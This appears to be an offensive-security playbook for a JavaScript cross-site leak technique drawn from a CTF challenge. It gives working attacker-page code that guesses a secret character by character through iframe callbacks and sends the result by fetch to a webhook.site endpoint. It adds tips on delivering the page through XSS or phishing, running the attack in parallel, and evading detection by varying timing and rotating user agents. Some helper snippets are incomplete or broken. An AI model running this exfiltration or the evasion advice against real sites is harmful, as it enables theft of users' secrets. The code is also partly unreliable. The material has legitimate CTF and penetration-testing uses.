JavaScript Execution XS Leak
A technique for extracting data from a target through JavaScript execution patterns, leveraging cross-origin communication to leak information character-by-character.
What This Technique Does
This attack exploits JavaScript execution in XSS vulnerabilities to:
- Extract secrets, flags, or sensitive data character-by-character
- Use timing-based or callback-based detection to determine correct values
- Communicate results to an attacker-controlled endpoint
- Work even when direct data exfiltration is blocked
When to Use This
Use this technique when:
- You have an XSS vulnerability that allows JavaScript execution
- Direct data exfiltration is blocked or filtered
- You need to extract secrets that are validated server-side
- The target makes requests to external endpoints with user-controlled data
- You're performing authorized security testing
Core Concept
The attack works by:
- Server-side: Target accepts input and makes requests to external endpoints with that input
- Client-side: Attacker creates iframes that test each possible character
- Detection: If a character is correct, the server doesn't trigger a callback; if wrong, it does
- Extraction: Build the secret character-by-character until complete
Implementation Template
Server-Side Vulnerable Code Pattern
// This is what the vulnerable target looks like
app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// This executes if the guess is WRONG
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello</p>
</html>`
res.send(page)
})
Attacker's Main Page
<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{" // Known prefix
let guessIndex = -1
// Character set to test (adjust based on target)
let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// Called from iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
// Send the flag to your webhook
fetch("https://webhook.site/<your-webhook>?flag=" + flag)
}
// Start with true, will be changed to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
// All characters tested, flag complete
fetch("https://webhook.site/<your-webhook>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
// Create iframe to test this character
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log("Testing: ", candidate)
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>
Step-by-Step Execution
1. Identify the Vulnerability
Look for endpoints that:
- Accept user input in query parameters
- Make requests to external endpoints with that input
- Execute JavaScript based on input validation
- Have callbacks that can be triggered from iframes
2. Set Up Your Webhook
Create a webhook endpoint to receive leaked data:
# Use webhook.site or similar service
curl -X POST https://webhook.site/your-unique-id
3. Craft the Attack Page
- Set your known prefix (e.g.,
flag{,bi0sctf{) - Define the character set to test
- Create the iframe injection logic
- Set up the callback detection
4. Deploy and Monitor
- Host your attack page on a domain you control
- Serve it to the target (via XSS, phishing, etc.)
- Monitor your webhook for results
- The flag will be sent when complete
Character Set Variations
Adjust flagChars based on the target:
// Standard CTF flag format
let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// Base64
let flagChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
// Hex
let flagChars = "0123456789abcdef"
// Alphanumeric only
let flagChars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
// Include special characters
let flagChars = "_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()"
Optimization Tips
Reduce Request Count
// Binary search approach for large character sets
function binarySearch(chars, callback) {
let left = 0
let right = chars.length - 1
while (left <= right) {
let mid = Math.floor((left + right) / 2)
// Test if character is in first half
// Adjust based on your detection mechanism
}
}
Parallel Testing
// Test multiple characters simultaneously
const MAX_IFRAMES = 5
let currentIframes = 0
function testCharacter(char) {
if (currentIframes >= MAX_IFRAMES) return
currentIframes++
let iframe = document.createElement('iframe')
iframe.src = `/guessing?guess=${flag}${char}`
iframe.onload = () => {
currentIframes--
// Handle result
}
hack.appendChild(iframe)
}
Error Handling
// Add timeout and retry logic
let timeoutId = setTimeout(() => {
// Handle timeout - character might be correct
candidateIsGood = true
}, 2000)
function foo() {
clearTimeout(timeoutId)
candidateIsGood = false
}
Detection Evasion
Obfuscate Your Attack
// Split the character set across multiple requests
let chunk1 = "_0123456789abcdefghijklmnopqrstuvwxyz"
let chunk2 = "}ABCDEFGHIJKLMNOPQRSTUVWXYZ"
// Use different timing patterns
let delays = [500, 750, 1000, 600, 800]
let delayIndex = 0
setInterval(() => {
let delay = delays[delayIndex % delays.length]
delayIndex++
// ... rest of logic
}, delay)
Rotate User Agents
const userAgents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
]
// Rotate through user agents for each request
Safety and Ethics
⚠️ IMPORTANT: Only use this technique on systems you have explicit authorization to test.
- Authorized testing only: Never use this on systems without permission
- Document your findings: Record what you discover for the target organization
- Respect scope: Stay within the boundaries of your authorization
- Legal compliance: Ensure your testing complies with applicable laws
Common Use Cases
- CTF Challenges: Extract flags from vulnerable web applications
- Bug Bounty: Find and report XSS vulnerabilities with data exfiltration potential
- Penetration Testing: Assess the impact of XSS vulnerabilities
- Security Research: Understand the mechanics of JavaScript-based data leaks
Troubleshooting
Issue: Callback not being triggered
Solution: Check that:
- The iframe is loading correctly
- The callback function is accessible from the iframe
- There are no CORS issues blocking the communication
Issue: Attack too slow
Solution:
- Reduce the delay between character tests
- Test multiple characters in parallel
- Use a smaller character set if you know the format
Issue: Webhook not receiving data
Solution:
- Verify your webhook URL is correct
- Check for CORS issues
- Ensure the fetch request is not being blocked
- Try a different webhook service
Related Techniques
- DNS exfiltration: Use DNS queries to leak data
- HTTP exfiltration: Direct HTTP requests to attacker-controlled endpoints
- Timing attacks: Use response times to extract data
- Image exfiltration: Encode data in image requests